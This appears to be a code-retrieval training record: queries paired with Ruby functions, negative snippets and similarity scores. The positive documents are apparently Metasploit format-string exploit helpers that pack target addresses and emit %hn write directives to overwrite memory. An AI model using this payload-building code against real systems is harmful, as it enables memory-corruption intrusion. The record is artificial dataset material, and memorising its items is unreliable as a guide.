"def findCoordinates(spiralLocation)\n\treturner=[nil,nil]\n\tring=findRing(spiralLocation)#ring that this spiral location is on\n\tputs ring\n\tringLocation=spiralLocation-getArea(ring-1)\n\tringSection=ceiling(ringLocation/2.0/ring)\n\t#ok so, what we've got out of the ring section is ...\n\t# 1. whether we are on the x (if it's odd) or on the y (if it's even)\n\t# 2. what we need to subtract (ring section-ring)\n\t#soooo ... let's find out which one is which first\n\tif(ringSection%2)\n\t\treturner[0]=ring*-1*(2-ringSection)\n\t\treturner[1]=ringLocation-ringSection*ring\n\telse\n\t\treturner[1]=ring*-1*(3-ringSection)\n\t\treturner[0]=ringLocation-ringSection*ring\n\tend\n\treturn returner\nend"
] |
[
"0.5310896",
"0.5162252",
"0.50626576",
"0.5044187",
"0.50394404",
"0.4982704",
"0.49811113",
"0.49726617",
"0.49483457",
"0.4943652",
"0.4901647",
"0.48821443",
"0.48735344",
"0.4807303",
"0.47692928",
"0.4762327",
"0.4762327",
"0.47306114",
"0.47189638",
"0.4718065",
"0.46995217",
"0.4683612",
"0.4681074",
"0.46571684",
"0.46442375",
"0.4640895",
"0.46379328",
"0.46379328",
"0.46379328",
"0.46205413",
"0.4601965",
"0.45994204",
"0.45975643",
"0.45917755",
"0.4584681",
"0.4584575",
"0.45841837",
"0.45813638",
"0.45753744",
"0.45743874",
"0.45739856",
"0.45525697",
"0.4546925",
"0.4544974",
"0.45291787",
"0.4526313",
"0.4520772",
"0.45067957",
"0.45022017",
"0.44969112",
"0.4487989",
"0.44838712",
"0.44835487",
"0.44817278",
"0.44734627",
"0.4466909",
"0.44666252",
"0.4450133",
"0.44456658",
"0.44358736",
"0.44244695",
"0.44218472",
"0.4416697",
"0.44161087",
"0.44161087",
"0.44150925",
"0.44144103",
"0.4411961",
"0.44037354",
"0.44006768",
"0.43992978",
"0.43987653",
"0.43954396",
"0.43903407",
"0.4389702",
"0.4383168",
"0.43775177",
"0.43698254",
"0.43674242",
"0.43646368",
"0.43642557",
"0.43540272",
"0.43517104",
"0.43479443",
"0.43465704",
"0.43462488",
"0.4344763",
"0.4342909",
"0.43409562",
"0.433977",
"0.43366823",
"0.43362522",
"0.43362522",
"0.43362522",
"0.4335698",
"0.43329355",
"0.4331438",
"0.43305442",
"0.43272775",
"0.43249512"
] |
0.5389917
|
0
|
Generates a format string from an array of value/address pairs
|
def fmtstr_gen_from_array(num_printed, arr, targ = target)
num_pops = targ['NumPops']
num_pad = targ['PadBytes'] || 0
# sort the array -- for optimization
arr = arr.sort { |x,y| x[0] <=> y[0] }
# build up the addrs and fmts buffers
fmts = ""
addrs = ""
num = fmtstr_count_printed(num_printed, num_pad, num_pops, arr)
arr.each do |el|
# find out how much to advance the column value
prec = fmtstr_target_short(el[0], num)
# for non-dpa, if the prec is more than 8, we need something to pop
if not @use_dpa and prec >= 8
addrs << rand_text(4)
end
# write here!
addrs << [el[1]].pack('V')
# put our advancement fmt (or bytes)
fmts << fmtstr_advance_count(prec)
# fmt to cause the write :)
if @use_dpa
fmts << "%" + num_pops.to_s + "$hn"
num_pops += 1
else
fmts << "%hn"
end
# update written count
num = el[0]
end
# make sure we dont have bad characters ...
if (bad_idx = has_badchars?(addrs, payload_badchars))
raise BadcharError.new(addrs, bad_idx, addrs.length, addrs[bad_idx]),
"The format string address area contains invalid characters.",
caller
end
# put it all together
stuff = rand_text(num_pad)
stuff << addrs
if not @use_dpa
stuff << "%8x" * num_pops
end
stuff << fmts
return stuff
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def format(*args)\n to_s % [*args]\n end",
"def c_build_format_string(mne, tokens, field_format)\n fmt_a = []\n\n tokens.each{|t|\n if (field_format.include?(t))\n fmt_a << field_format[t][0]\n else\n fmt_a << t\n end\n }\n\n fmt_s = mne\n\n if (!fmt_a.empty?)\n fmt_s += ' ' + fmt_a.join\n end\n\n return '\"' + fmt_s + '\"'\nend",
"def this_value_standard_format(code, values, lookup, format)\n return_values = []\n values.each do |v|\n expand_value = expand_value(code, v, lookup, format)\n return_values << expand_value unless expand_value.nil?\n end\n return_values.join(', ')\n end",
"def format(values, insert_string)\n values.flat_map do |v|\n insert_string % v\n end\n end",
"def fmt *args\n args.map { |arg| arg.is_a?(Array) ? sgr(*arg) : arg }.join\n end",
"def to_s\n sprintf(FORMAT,*to_a)\n end",
"def format\n text = \"[#{name}]\\n\"\n @entries.each do |entry|\n if entry.is_a?(Array)\n key, value = entry\n text << \"#{key}=#{value}\\n\" unless value.nil?\n else\n text << entry\n end\n end\n text\n end",
"def odb_format_str(*args)\n \"format('#{to_s}', #{args.map{|x| quote(x)}.join(', ')})\"\n end",
"def cross_format(array2, subtarget, subnew = \"%s\")\n self.cross(array2).map { |tuple| format tuple[0].gsub(subtarget, subnew), tuple[1]}\n end",
"def format_address\n street + \", \" + zip\n end",
"def formatted_string\n format.dup.tap do |str|\n variables.each {|v| str.gsub!(\"%#{v}\", \"%{#{v}}\") }\n end\n end",
"def cdr_to_fmt\n '%s'\n end",
"def format_field_names_as_string(array)\n array.map{ |k| \"'#{k}'\" }.join(',')\n end",
"def format_tuple_string(vals)\n str = \"\"\n vals.each { |tuple| str += tuple.to_s + ' ' }\n str.rstrip\n end",
"def cdr_from_fmt\n '%s'\n end",
"def formats=(values); end",
"def format_patterns(patterns)\n patterns.collect {|x| \"\\\"fast:#{x}\\\"\"}.join(' ')\nend",
"def format(fmt, *rest) end",
"def pretty(format = '%12.4e')\n str = String.new()\n to_a.each{|i| str += sprintf(format, i)} \n return str\n end",
"def to_s\n \"{#{map(&method(:format_value_or_null)).join(\",\")}}\"\n end",
"def format_address(arr)\n downcase_arr = arr.map(&:downcase)\n formatted_arr = downcase_arr.map{|a| a.gsub(\", \", \"\").gsub(\" \", \"-\")}\n # puts formatted_arr\nend",
"def make_tostring_add_val(out_spec, eamode, eamode_ext, pos)\n result = \", val#{pos}\"\n if (out_spec == :effaddr and (eamode == :ad or eamode == :px)) or\n (out_spec == :effaddr_rev and eamode_ext == :ad) then\n result += \", val#{pos}_1\"\n elsif (out_spec == :effaddr and eamode == :ax) or\n (out_spec == :effaddr_rev and eamode_ext == :ax) then\n result += \", val#{pos}_1, val#{pos}_2\"\n end\n result\nend",
"def format_source(value); end",
"def to_s(format = 'short')\n #create string to hold address which we will implicitly return\n address = ''\n \n #if you leave off the CASE FORMAT your will get a syntax error, unexpected keyword_when, expecting keyword_end when 'short'\n\n case format\n #ask why we had to put the long case above the short?\n when 'long'\n address += street_1 + \"\\n\"\n address += street_2 + \"\\n\" if !street_2.nil?\n address += \"#{city}, #{state} #{zipcode}\"\n when 'short'\n address += \"#{type}: \"\n address += street_1\n if street_2\n address += \" \" + street_2\n end\n address += \", #{city}, #{state}, #{zipcode}\"\n end\n address\n end",
"def format(arr, opts={})\n # if seperator is an array, it is using different seperators for inner arrays\n seperator = opts[:seperator] || ' '\n #indicates if it should return nil if one of arr's elements is nil\n ignore = opts.has_key?(:ignore) ? opts[:ignore] : false\n format = opts[:format] || '%s'\n\n # determine if there empty elements in the array\n def has_empty?(a)\n if a.instance_of? Array\n ret = false\n a.each { |x| ret = true if has_empty?(x) }\n ret\n else\n not a or a.empty?\n end\n end\n includes_empty = has_empty? arr\n\n # arrays to string using the seperators\n seperator = [seperator] if not seperator.kind_of? Array\n def visit(ar, lvl, seperator)\n sep = seperator[lvl]\n sep = seperator.first if not sep\n s = ar.map do |element|\n if element.kind_of? Array\n visit(element, lvl + 1, seperator)\n else\n element\n end\n end\n s.reject! { |x| not x or x.empty? } # remove empty/nil elements\n s.join(sep) \n end\n str = visit(arr, 0, seperator)\n\n if includes_empty and ignore\n nil\n else\n format % [str]\n end\n end",
"def format_str(value)\n value ||= '<none>'\n fmt ? (fmt % [value]) : value\n end",
"def formatted_address\n \"#{self.street_address}, #{self.city}, #{self.state} #{self.zip_code}\"\n end",
"def address(format = :full)\n if state_code.to_s != \"\"\n s = \", #{state_code}\"\n elsif state.to_s != \"\"\n s = \", #{state}\"\n else\n s = \"\"\n end\n \"#{city}#{s} #{postal_code}, #{country}\".sub(/^[ ,]*/, '')\n end",
"def field_param(array)\n array.inject([]) do |result, field|\n result << \"#{field[:field]}: #{set_value(field[:value])}\"\n result\n end.join(\", \")\n end",
"def format(key, value)\n \"#{key}#{key_value_separator}#{format_value(value)}\"\n end",
"def to_s\n \"(%5.4f, %5.4f)\" % [x, y]\n end",
"def build_string(arr,num)\n \"#{truncation(arr)}#{abbr(num)}\"\n end",
"def format(format, *arguments); end",
"def address\n [street, [postal_code, l].join(' ')].join(\"\\n\")\n end",
"def to_s\n \"(%g, %g)\" % parts\n end",
"def format_ttl_value(value)\n f =\n if value.is_a?(Array)\n value.map { |v0| format_ttl_value v0 }.join(', ')\n elsif value.is_a? Numeric\n value.to_s\n elsif value.match?(%r{\\Ahttp://.*})\n \"<#{value}>\"\n elsif value.match?(/\\A[[:word:]]+:.*/)\n value.to_s\n elsif value['@id']\n \"<#{value['@id']}>\"\n elsif value['@value'] && value['@type']\n \"\\\"#{value['@value']}\\\"^^#{format_ttl_value(value['@type'])}\"\n elsif value['@value']\n \"\\\"#{value['@value']}\\\"\"\n elsif value.is_a? String\n \"\\\"#{value}\\\"\"\n else\n \"\\\"#{value}\\\"^^<#{value.class.name}> # warning: default formatting rule\"\n end\n\n f.html_safe\n end",
"def putfield(format,key,value)\n format = 'a' if format.nil?\n field = \"#{key} : #{format =~ /^a.*$/ ? hexstring(value) : value}\"\n field = field[0..40] + '...'+ field[-40..-1] if field.size > 80 # centre-truncate long strings\n puts field\nend",
"def createPhoneNumber\r\n '(%d%d%d) %d%d%d - %d%d%d%d' % array end",
"def generate_string(options = nil)\n if comment\n suffix = \" ##{comment}\\n\"\n else\n suffix = \"\\n\"\n end\n\n [address, name, *aliases].join(' ') << suffix\n end",
"def format_string(format, params = {})\n format % params\n end",
"def format_string(record, attribute, val)\n val\n end",
"def to_s\n [self.address_1, self.address_2].compact.join(', ')\n end",
"def format_arguments(arguments, is_const)\n return nil if arguments.empty?\n\n result = arguments.map do |name, value|\n \"#{name}: #{format_value(value, is_const)}\"\n end\n\n \"(#{result.join(', ')})\"\n end",
"def to_s\n pairs = inject([]) do |strs, (k, v)|\n strs << \"#{k.to_s} => #{v.to_s}\"\n end\n \"{#{pairs.join(\", \")}}\"\n end",
"def line_formatter(array)\n if array.any? {|item| item.is_a?(Array)}\n cols = []\n array.each do |item|\n if item.is_a?(Array)\n item.each_with_index { |val,idx| cols[idx] = [cols[idx]||0, (val || '').length].max }\n end\n end\n cols.map { |col| \"%-#{col}s\" }.join(\" \")\n else\n \"%s\"\n end\n end",
"def line_formatter(array)\n if array.any? {|item| item.is_a?(Array)}\n cols = []\n array.each do |item|\n if item.is_a?(Array)\n item.each_with_index { |val,idx| cols[idx] = [cols[idx]||0, (val || '').length].max }\n end\n end\n cols.map { |col| \"%-#{col}s\" }.join(\" \")\n else\n \"%s\"\n end\n end",
"def to_ps\n ret = \"#{self.class.name}:\\n\"\n c = 0\n @fields.each_pair do |p|\n field = p[1]\n next if field.nil?\n if field.is_a?(NumField) || field.is_a?(ApduList)|| field.is_a?(VarNumField)\n if field.optfield.nil? || field.optfield.value == 1\n ret = ret + sprintf(\" %-28s %s\\n\", field.define, field.hexstr)\n else\n ret = ret + sprintf(\" %-28s %s\\n\", field.define, \"--\")\n end\n c = 0\n else #only for bitfield\n ret = ret + sprintf(\" %-28s %s\\n\", field.define, \" \" * c + field.bitstr)\n c += field.length\n end\n end\n return ret\n end",
"def to_s\n if @value2.nil?\n format('(%s)', @value1.to_s)\n elsif @value2.is_a? Pair\n var = @value2.to_s\n var[0] = ''\n var[var.length - 1] = '' if var[var.length - 1] == ')'\n format('(%s %s)', @value1.to_s, var)\n else\n format('(%s . %s)', @value1.to_s, @value2.to_s)\n end\n end",
"def to_s(formatting = :default)\n puts \"Called\"\n case formatting\n when :inline\n \"#{street}, #{piv(street_2, true)}#{piv(street_3, true)}#{city}, #{porsa}, #{zip}#{cif(true)}\"\n else\n \"#{street}\\n#{piv(street_2)}#{piv(street_3)}#{city}, #{porsa} #{zip}#{cif}\"\n end\n end",
"def format_str(value)\n value ||= '<none>'\n value = fmt ? (fmt % [value]) : value\n if max_length && (value.is_a? String) && value.length > max_length\n value = value[0..(max_length - 4)]\n value += ('.' * (max_length - value.length))\n end\n value\n end",
"def format(*value)\n set_format(@entry_format, *value)\n end",
"def to_formatted_s(format = :default)\n RANGE_FORMATS[format] ? RANGE_FORMATS[format].call(first, last) : to_default_s\n end",
"def address_list_assign(field_name, addresses)\n if addresses.kind_of?(Array)\n value = addresses.collect { |e|\n if e.kind_of?(RMail::Address)\n e.format\n else\n RMail::Address.parse(e.to_str).collect { |a|\n a.format\n }\n end\n }.flatten.join(\", \")\n set(field_name, value)\n elsif addresses.kind_of?(RMail::Address)\n set(field_name, addresses.format)\n else\n address_list_assign(field_name,\n RMail::Address.parse(addresses.to_str))\n end\n end",
"def to_s\n '{ ' + @values.map {|(n, v)| \"#{n}: #{v.inspect}\"}.join(', ') + ' }'\n end",
"def sprintf(fmt, *rest) end",
"def format(label, value)\n \" - #{label}: #{value}\"\n end",
"def format(fmt)\n StrVariable.new sprintf(fmt, @container)\n end",
"def apply(values)\n values = values.map do |key, value|\n key = key.upcase if uppercase_fields.include?(key)\n value = \"#{value}\".upcase if uppercase_fields.include?(\"#{key}\")\n\n [key, value]\n end\n\n formatted_string % Hash[values]\n end",
"def address_string\n \"#{address}, #{city}, #{state} #{zip}\"\n end",
"def to_s format = '%8.4f'\n (\"%-6s\" + \"#{format} \" * 3) % ([name] + pos.to_a) \n end",
"def to_s\n each_with_object([]) do |(name, value), array|\n if value.is_a?(Component::Attr)\n # Flatten nested hashs and inject them unless empty\n value = value.to_s\n array << value unless value.empty?\n else\n name = [@prefix, name].compact.join(\"-\").gsub(/[\\W_]+/, \"-\")\n array << %(#{name}=\"#{value}\") unless value.nil?\n end\n end.sort.join(\" \")\n end",
"def format_key_val_string(key, vals, longest_length)\n format_key_string(key, longest_length) + ' ' + format_tuple_string(vals)\n end",
"def helper_for_parsing_sprint_info obj, arr\n arr.map do |field_num|\n \"#{obj[0].split(',')[field_num].split(\"=\")[1]}\" if obj\n end\n end",
"def s value\n if value.is_a? String\n return \"\\\"#{value}\\\"\"\n elsif value.is_a? Fixnum\n return \"#{value}\"\n elsif value.is_a? TrueClass or value.is_a? FalseClass\n return \"#{value}\"\n elsif value.is_a? Symbol \n return \".#{value}\"\n elsif value.is_a? Tuple\n res = \"(\"\n\n if value.data.is_a? Array\n res += value.data.map { |item|\n s item\n }.join(\", \")\n else\n res += value.data.map { |k, v|\n \"#{k}: #{s v}\"\n }.join(\", \")\n end\n\n res += \")\"\n\n return res\n elsif value.is_a? Array \n res = \"[\"\n\n value.each_with_index do |item, index| \n res += s item\n if index + 1 < value.count\n res += \", \"\n end\n end\n\n res += \"]\"\n\n return res\n elsif value.is_a? Hash\n res = \"[\"\n\n index = 0\n limit = value.count\n\n value.each do |k, v|\n res += s k\n res += \" : \"\n res += s v\n\n index += 1\n\n if index != limit \n res += \", \"\n end\n end\n \n res += \"]\"\n\n return res\n end\n\n return value.inspect\nend",
"def formatOunces(value)\n\t\twholeNum = value[1, 4] #Pulls the 2nd (A), 3rd (B), 4th (C) and 5th (D) digit from the format 0ABCDdddd where 'd' is the decimal portion of the eVS weight convention\n\t\tdecimal = value[5, 4] #Pulls the decimal portion\n\t\treturn (\"#{wholeNum}.#{decimal}\".to_f * 16.0).round(4).to_s\n\tend",
"def formatOunces(value)\n\t\t\twholeNum = value[1, 4] #Pulls the 2nd (A), 3rd (B), 4th (C) and 5th (D) digit from the format 0ABCDdddd where 'd' is the decimal portion of the eVS weight convention\n\t\t\tdecimal = value[5, 4] #Pulls the decimal portion\n\t\t\treturn (\"#{wholeNum}.#{decimal}\".to_f * 16.0).round(4).to_s\n\t\tend",
"def to_s\n \"(#{@values.map(&:to_s).join(', ')})\"\n end",
"def to_s; map { |name, val| \"#{val['name']}=#{val}\" }.join(','); end",
"def address\n \"%s %s %s %s\"%([self.prefecture_code,self.address_city,self.address_street,self.address_building])\n end",
"def format(cnpj)\n cnpj = cnpj.to_s.rjust(14, \"0\")\n \"%s.%s.%s/%s-%s\" % [cnpj[0,2], cnpj[2,3], cnpj[5,3], cnpj[8,4], cnpj[12,2]]\n end",
"def format(human_timestamp, line_array, offset)\n human_timestamp.getlocal.strftime('%Y-%m-%d %H:%M:%S%z') + ' ' + line_array[offset..-1].join(' ')\nend",
"def to_formatted_s(format = :default)\n if formatter = RANGE_FORMATS[format]\n formatter.call(first, last)\n else\n to_default_s\n end\n end",
"def to_formatted_s(format = :default)\n if formatter = RANGE_FORMATS[format]\n formatter.call(first, last)\n else\n to_default_s\n end\n end",
"def format(args = {})\n to_s\n end",
"def human_string(array)\n length = array.length\n \n new_string = array[0...-1].join(\", \")\n new_string << \" and #{array[-1]}\"\n \n return new_string\nend",
"def to_s\n pairs = inject([]) do |strs, (k, v)|\n strs << \"#{k.to_s} => #{v.to_s}\"\n end\n \"{\\n\" + pairs.join(\",\\n\") + \"\\n}\"\n end",
"def to_s\n pairs = inject([]) do |strs, (k, v)|\n strs << \"#{k.to_s} => #{v.to_s}\"\n end\n \"{\\n\" + pairs.join(\",\\n\") + \"\\n}\"\n end",
"def to_s\n pairs = inject([]) do |strs, (k, v)|\n strs << \"#{k.to_s} => #{v.to_s}\"\n end\n \"{\\n\" + pairs.join(\",\\n\") + \"\\n}\"\n end",
"def to_s\n pairs = inject([]) do |strs, (k, v)|\n strs << \"#{k.to_s} => #{v.to_s}\"\n end\n \"{\\n\" + pairs.join(\",\\n\") + \"\\n}\"\n end",
"def to_s\n pairs = inject([]) do |strs, (k, v)|\n strs << \"#{k.to_s} => #{v.to_s}\"\n end\n \"{\\n\" + pairs.join(\",\\n\") + \"\\n}\"\n end",
"def to_s\n pairs = inject([]) do |strs, (k, v)|\n strs << \"#{k.to_s} => #{v.to_s}\"\n end\n \"{\\n\" + pairs.join(\",\\n\") + \"\\n}\"\n end",
"def to_s\n pairs = inject([]) do |strs, (k, v)|\n strs << \"#{k.to_s} => #{v.to_s}\"\n end\n \"{\\n\" + pairs.join(\",\\n\") + \"\\n}\"\n end",
"def to_s\n pairs = inject([]) do |strs, (k, v)|\n strs << \"#{k.to_s} => #{v.to_s}\"\n end\n \"{\\n\" + pairs.join(\",\\n\") + \"\\n}\"\n end",
"def to_s\n pairs = inject([]) do |strs, (k, v)|\n strs << \"#{k.to_s} => #{v.to_s}\"\n end\n \"{\\n\" + pairs.join(\",\\n\") + \"\\n}\"\n end",
"def to_s\n pairs = inject([]) do |strs, (k, v)|\n strs << \"#{k.to_s} => #{v.to_s}\"\n end\n \"{\\n\" + pairs.join(\",\\n\") + \"\\n}\"\n end",
"def to_s\n pairs = inject([]) do |strs, (k, v)|\n strs << \"#{k.to_s} => #{v.to_s}\"\n end\n \"{\\n\" + pairs.join(\",\\n\") + \"\\n}\"\n end",
"def to_s\n pairs = inject([]) do |strs, (k, v)|\n strs << \"#{k.to_s} => #{v.to_s}\"\n end\n \"{\\n\" + pairs.join(\",\\n\") + \"\\n}\"\n end",
"def to_s\n pairs = inject([]) do |strs, (k, v)|\n strs << \"#{k.to_s} => #{v.to_s}\"\n end\n \"{\\n\" + pairs.join(\",\\n\") + \"\\n}\"\n end",
"def to_s\n pairs = inject([]) do |strs, (k, v)|\n strs << \"#{k.to_s} => #{v.to_s}\"\n end\n \"{\\n\" + pairs.join(\",\\n\") + \"\\n}\"\n end",
"def create_full_address\n \"#{address_line1}, #{city}, #{state} #{zip}\"\n end",
"def format_ods_string(key, value)\n \"#{key}:#{value}|g\"\n end",
"def localized_format(key, translation_table = nil, placeholder_value)\n format_str = localized(key, translation_table)\n puts format_str\n NSString.stringWithFormat(format_str, placeholder_value)\nend",
"def format_phone_number(arr)\n\tphone_num = \"(\"\n\t3.times {phone_num += arr.shift.to_s}\n\tphone_num += \") \"\n\t3.times {phone_num += arr.shift.to_s}\n\tphone_num += \"-\"\n\t4.times {phone_num += arr.shift.to_s}\n\tphone_num\nend",
"def to_s\n inject([]) { |acc, link| acc << \"[#{link.key}, #{link.val}]\" }.join(\", \")\n end",
"def to_s\n inject([]) { |acc, link| acc << \"[#{link.key}, #{link.val}]\" }.join(\", \")\n end",
"def to_s\n inject([]) { |acc, link| acc << \"[#{link.key}, #{link.val}]\" }.join(\", \")\n end",
"def to_s\n inject([]) { |acc, link| acc << \"[#{link.key}, #{link.val}]\" }.join(\", \")\n end",
"def to_s\n inject([]) { |acc, link| acc << \"[#{link.key}, #{link.val}]\" }.join(\", \")\n end",
"def to_s\n inject([]) { |acc, link| acc << \"[#{link.key}, #{link.val}]\" }.join(\", \")\n end",
"def to_s\n inject([]) { |acc, link| acc << \"[#{link.key}, #{link.val}]\" }.join(\", \")\n end"
] |
[
"0.6226499",
"0.6218415",
"0.6189225",
"0.6137018",
"0.6111246",
"0.6018633",
"0.5963938",
"0.59409386",
"0.58927363",
"0.58864427",
"0.5882832",
"0.5866531",
"0.5849652",
"0.58438903",
"0.57885486",
"0.57813406",
"0.5779763",
"0.5761693",
"0.5739681",
"0.57395655",
"0.57353467",
"0.57302654",
"0.5721217",
"0.5705797",
"0.5700149",
"0.56961656",
"0.56880635",
"0.5682915",
"0.5621093",
"0.56184614",
"0.56087995",
"0.5596767",
"0.5593057",
"0.55424935",
"0.5530029",
"0.5521755",
"0.54996324",
"0.5490387",
"0.54850626",
"0.54835516",
"0.5471428",
"0.5451741",
"0.5442584",
"0.5424382",
"0.54239863",
"0.54239863",
"0.54236925",
"0.5422476",
"0.54197764",
"0.5418589",
"0.54183495",
"0.5408774",
"0.5406516",
"0.53956896",
"0.53888935",
"0.5380717",
"0.5379233",
"0.5378313",
"0.5373423",
"0.5372281",
"0.5372005",
"0.53662294",
"0.5358661",
"0.5349069",
"0.5338458",
"0.5337556",
"0.5319923",
"0.53171086",
"0.5316092",
"0.5302089",
"0.5300359",
"0.52994245",
"0.52994245",
"0.5298272",
"0.52958417",
"0.52892977",
"0.52892977",
"0.52892977",
"0.52892977",
"0.52892977",
"0.52892977",
"0.52892977",
"0.52892977",
"0.52892977",
"0.52892977",
"0.52892977",
"0.52892977",
"0.52892977",
"0.52892756",
"0.52890646",
"0.52796006",
"0.52666396",
"0.5252319",
"0.5252248",
"0.5252248",
"0.5252248",
"0.5252248",
"0.5252248",
"0.5252248",
"0.5252248"
] |
0.63502395
|
0
|
Count how many bytes will print before we reach the writing..
|
def fmtstr_count_printed(num_printed, num_pad, num_pops, arr)
num = num_printed + num_pad
if not @use_dpa
num += (8 * num_pops)
end
npr = num
arr.each do |el|
prec = fmtstr_target_short(el[0], npr)
# this gets popped in order to advance the column (dpa doesn't need these)
if not @use_dpa and prec >= 8
num += 4
end
# account for the addr to write to
num += 4
npr = el[0]
end
return num
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def size; @_io.size; end",
"def num_bytes\n return @num_bytes\n end",
"def total_out\n\t\t@output_buffer.length\n\tend",
"def total_out\n\t\t\t@output_buffer.length\n\t\tend",
"def size_fil_trailer\n 4 + 4\n end",
"def io_length(io)\n io.fsync\n io.stat.size\n end",
"def length\n dump.length\n end",
"def length\n sync\n io.length\n end",
"def bytes_consumed\n self.bytesize# + 1\n end",
"def _do_num_bytes\n raise NotImplementedError\n end",
"def size\n return @buffer.count\n end",
"def pos_fil_trailer\n size - size_fil_trailer\n end",
"def buffered\n @buffer.length\n end",
"def buffered\n @buffer.length\n end",
"def bytesize\n @fd.stat.size\n end",
"def size\n @io.size\n end",
"def num_bytes=(value)\n @num_bytes = value\n end",
"def byte_size(); @data.byte_size + 4; end",
"def written_count\n if acknowledged?\n first_document[N] || 0\n else\n 0\n end\n end",
"def page_length=(n)\n write(BrotherEscp::Sequence.page_length(n))\n end",
"def write( message )\n logger.write1 \"MoxaSerialPort::#{__method__} **** BEGIN ****\"\n print_bytes( message )\n logger.write1 \"MoxaSerialPort::#{__method__} **** END ****\"\n return message.length\n end",
"def write_zeros\n total_digits = 8\n zeros = total_digits - (@@count.to_s.length)\n end",
"def dump_to_dev_null( datum )\n bytes = 0\n File.open( \"/dev/null\", \"w+\" ) do |writer|\n File.open( datum.filename, \"r\") do |reader|\n chunk_size = datum.stat.blksize || 4096 \n buf = String.new \n loop do\n begin\n r = reader.sysread( chunk_size, buf )\n bytes += writer.write( r )\n rescue => e\n break\n end\n end\n end\n end\n return bytes\n end",
"def length\n do_num_bytes\n end",
"def avail_out= size\n\t\tsize.times do \n\t\t\tif size > avail_out\n\t\t\t\t@output_buffer.push nil\n\t\t\telse\n\t\t\t\t@output_buffer.pop\n\t\t\tend\n\t\tend\n\tend",
"def avail_out= size\n\t\t\tsize.times do\n\t\t\t\tif size > avail_out\n\t\t\t\t\t@output_buffer.push nil\n\t\t\t\telse\n\t\t\t\t\t@output_buffer.pop\n\t\t\t\tend\n\t\t\tend\n\t\tend",
"def n_inserted\n written_count\n end",
"def size_fil_header\n 4 + 4 + 4 + 4 + 8 + 2 + 8 + 4\n end",
"def avail_out\n\t\t@output_buffer.length - @out_pos\n\tend",
"def mb_count()\n each_char.map{|c| c.bytesize == 1 ? 1 : 2}.reduce(0, &:+)\n end",
"def bytes\n @bytes = 0\n @files.each do |file|\n @bytes += File.new(\"#{file}\").size\n end\n @bytes\n end",
"def size\n read.bytesize\n end",
"def byte_size()\n if @record and RECORD_INFO[@record.type].size > 0 then\n RECORD_INFO[@record.type].size * @value.length\n else\n sum = 0\n @value.each do |val|\n sum += (val.length % 2 == 0) ? val.length : val.length + 1\n end\n sum\n end\n end",
"def update_download_status size, length\n @current_byte ||= 0\n @previous_print ||= 0\n @current_byte += size\n\n if length\n pct = @current_byte * 100 / length\n pct = (pct / 5) * 5\n\n if pct != @previous_print\n @previous_print = pct\n status pct.to_s + '% '\n end\n else\n # server didn't supply a length, display running byte count?\n end\n end",
"def avail_out\n\t\t\t@output_buffer.length - @out_pos\n\t\tend",
"def write(buf)\n\t\t\twrite_remote(buf)\n\t\t\treturn buf.length\n\t\tend",
"def written_blocks\n (@real_time_memory + @user_memory).reject(&:nil?).count\n end",
"def block_size; end",
"def counting\n puts \"hard to do right\"\n end",
"def line_feed_size=(n)\n write(BrotherEscp::Sequence.line_feed_size(n))\n end",
"def bytesize\n stream_size\n end",
"def length; count end",
"def length\n do_num_bytes\n end",
"def length\n do_num_bytes\n end",
"def total_bytes\n (wired + active + inactive + free) * pagesize\n end",
"def size\n streams.map(&:size).inject(0, :+)\n end",
"def file_size; @io_size[@rio] end",
"def write_byte(*n); end",
"def size\n if @tmpfile\n @tmpfile.flush\n @tmpfile.stat.size\n else\n 0\n end\n end",
"def write(bytes)\r\n end",
"def block_count; @data[17].to_i; end",
"def size\n stream_size * 8\n end",
"def data_len_bytes()\n 1\n end",
"def write_output\n\t\tbytes = self.socket.syswrite( self.obuffer )\n\t\tself.obuffer.slice!( 0, bytes ) if bytes.nonzero?\n\n\t\treturn self.obuffer.length\n\tend",
"def insertion_print_count\n @insertion.print_count\n end",
"def count\n `wc -l < #{filepath}`.to_i - 1\n end",
"def byte_size; size.y * line_byte_size; end",
"def count_lines\n linecount = 0\n\n @output_buffer.each do |line|\n linecount += line.scan(/\\n/).count\n end\n\n linecount - 1\n end",
"def write(buf); end",
"def fileno() end",
"def fileno() end",
"def fileno() end",
"def length \n io_index.length\n end",
"def hard(input)\n input.map { |line| line.dump.length - line.length }.sum\nend",
"def print_rotation_count\n @rotation_count += 1\n print \"\\r\\e#{@rotation_count} of #{@maximum_rotations} processed...\"\n $stdout.flush\n end",
"def syswrite(buffer)\n\t\t\t\tremaining = buffer.bytesize\n\t\t\t\t\n\t\t\t\t# Fast path:\n\t\t\t\twritten = @io.write(buffer)\n\t\t\t\treturn if written == remaining\n\t\t\t\t\n\t\t\t\t# Slow path:\n\t\t\t\tremaining -= written\n\t\t\t\t\n\t\t\t\twhile remaining > 0\n\t\t\t\t\twrote = @io.write(buffer.byteslice(written, remaining))\n\t\t\t\t\t\n\t\t\t\t\tremaining -= wrote\n\t\t\t\t\twritten += wrote\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\treturn written\n\t\t\tend",
"def size_page_body\n size - size_fil_trailer - size_fil_header\n end",
"def render_length; end",
"def do_num_bytes(what = nil)\n if eval_param(:onlyif)\n _do_num_bytes(what)\n else\n 0\n end\n end",
"def extract_size(io)\n io.size\n end",
"def trailer_space\n size_fil_trailer\n end",
"def size\n return 0 unless @spoolfile\n\n @spoolfile.flush\n @spoolfile.stat.size\n end",
"def write(chunk)\n # dummy\n end",
"def length\n @count\n end",
"def to_len(filename)\n File.open(File.expand_path(filename), 'w') do |f|\n self.each do |chr, chr_len|\n f.puts \"#{chr}\\t#{chr_len}\"\n end\n end\n end",
"def byte_size\n inject(0){ |sum, path| sum + FileTest.size(path) }\n end",
"def read_more(size); end",
"def data_len_bytes()\n 2\n end",
"def data_len_bytes()\n 2\n end",
"def data_len_bytes()\n 2\n end",
"def content_length\n# stat.size\n @bson['length'] || 0\n end",
"def length\n count\n end",
"def size\n @buffer.size\n end",
"def size\n @buffer.size\n end",
"def size\n @buffer.size\n end",
"def size; file_log.size(file_rev); end",
"def total_count()\n @raw_data.size\n end",
"def length\n count = 0\n each { count += 1 }\n count\n end",
"def size\n @count\n end",
"def size\n @count\n end",
"def size\n @size ||= @buffer.size\n end",
"def count\n @count ||= 0\n @count += 1\n end",
